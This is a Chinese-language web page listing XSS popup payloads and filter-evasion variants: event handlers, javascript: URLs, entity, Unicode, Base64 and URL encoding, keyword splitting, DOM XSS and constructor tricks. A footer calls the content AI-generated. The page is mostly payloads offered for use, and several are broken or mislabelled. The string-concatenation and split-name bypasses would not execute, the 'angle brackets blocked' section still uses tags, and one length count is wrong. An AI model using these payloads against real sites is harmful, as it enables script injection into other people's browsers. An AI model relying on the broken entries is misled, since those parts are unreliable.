弹窗xss测试的所有代码,包括过滤编码的

一、基础弹窗测试代码

适用于无过滤或弱过滤场景

<!-- 标准脚本弹窗 -->
<script>alert(1)</script>

<!-- 无script标签的事件触发 -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe onload=alert(1)>

<!-- 替代弹窗函数(绕过alert关键词过滤) -->
<script>confirm(1)</script>  <!-- 确认弹窗 -->
<script>prompt(1)</script>  <!-- 输入弹窗 -->

二、HTML上下文过滤绕过(<、>被拦截)

针对后端过滤尖括号的场景,利用HTML事件属性触发

<!-- 自动聚焦触发 -->
<input autofocus onfocus=alert(1)>

<!-- 页面加载触发 -->
<body onload=alert(1)>

<!-- 鼠标悬停触发 -->
<div onmouseover=alert(1)>Hover Me</div>

<!-- 键盘事件触发 -->
<input onkeydown=alert(1)>

三、属性与伪协议绕过

针对链接/属性上下文的XSS场景

<!-- JavaScript伪协议 -->
<a href="javascript:alert(1)">Click Me</a>

<!-- 大小写绕过伪协议关键词 -->
<a href="JAVASCRIPT:alert(1)">Click Me</a>

<!-- 实体编码冒号绕过 -->
<a href="javascript&#58;alert(1)">Click Me</a>

<!-- 中间字符编码绕过 -->
<a href="javasc&#114;ipt:alert(1)">Click Me</a>

<!-- 闭合属性触发(适用于<input value="输入点">场景) -->
" onfocus=alert(1) autofocus x="

四、关键词过滤绕过(alert/script被拦截)

通过变形、拼接、别名等方式绕过关键词检测

<!-- 变量别名替换 -->
<script>var a=alert;a(1)</script>
<script>top.alert(1)</script>  <!-- 调用全局对象方法 -->

<!-- 字符串拼接 -->
<script>ale+'rt'(1)</script>
<script>['ale'+'rt'][0](1)</script>

<!-- 模板字符串绕过括号/alert过滤 -->
<script>alert`1`</script>

<!-- eval执行编码后的代码 -->
<script>eval('alert(1)')</script>
<script>eval('ale'+'rt(1)')</script>

<!-- 拆分函数名绕过 -->
<script>a=ale;b=rt;a+b(1)</script>

五、编码绕过(针对编码解码场景)

利用HTML/JS的编码特性绕过过滤,后端通常会自动解码

1. HTML实体编码

<!-- 十进制实体 -->
&#60;script&#62;alert(1)&#60;/script&#62;

<!-- 十六进制实体 -->
&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;

2. JS编码

<!-- Unicode编码 -->
<script>alert('\u0031')</script>
<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>

<!-- 十六进制编码 -->
<script>alert('\x31')</script>

<!-- Base64编码执行 -->
<script>eval(atob('YWxlcnQoMSk='))</script>  <!-- atob解码"YWxlcnQoMSk="得到alert(1) -->

3. URL编码(适用于URL参数XSS)

javascript%3Aalert(1)
data%3Atext/html%3Cscript%3Ealert(1)%3C/script%3E

六、特殊场景绕过

1. 长度限制场景(最短弹窗代码)

<svg/onload=alert(1)>  <!-- 仅16字符 -->
<img src=x onerror=alert(1)>  <!-- 19字符 -->
<script>top.alert(1)</script>

2. DOM XSS场景

针对前端JS处理用户输入的场景

<!-- 利用location.hash -->
<script>eval(location.hash.slice(1))</script>  <!-- 输入#alert(1)触发 -->

<!-- 利用window.name -->
<script>alert(window.name)</script>  <!-- 通过iframe传递window.name=alert(1)触发 -->

<!-- 闭合变量赋值 -->
<script>var user="输入点";</script>  <!-- 输入";alert(1);// 闭合变量并注释后续代码 -->

3. 括号/括号被过滤场景

<script>alert`1`</script>  <!-- 模板字符串绕过括号 -->
<script>alert.call(null,1)</script>  <!-- 函数call方法绕过 -->
<script>alert.apply(null,[1])</script>  <!-- 函数apply方法绕过 -->

七、高级绕过技巧

<!-- 注释干扰过滤逻辑 -->
<script><!--alert(1)--></script>
<scrip<!--t-->t>alert(1)</scrip<!--t-->t>

<!-- 多余属性混淆过滤规则 -->
<script type="text/javascript" language="vbscript">alert(1)</script>

<!-- 全局函数动态调用 -->
<script>(this['al'+'ert'])(1)</script>
<script>self.alert(1)</script>

<!-- 数组索引调用函数 -->
<script>[alert][0](1)</script>
<script>([]['flat']['constructor']('alert(1)')())</script>  <!-- 利用Array flat构造函数执行代码 -->

注意事项

  1. 不同浏览器/防护机制(如CSP、XSS Auditor)对XSS的拦截逻辑不同,需结合实际场景测试;
  2. 前端过滤可直接通过修改DOM绕过,后端过滤需依赖编码/变形绕过;
  3. 部分方法仅在特定环境生效(如旧浏览器支持的CSS伪协议XSS已被现代浏览器禁用)。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。


评论 (0)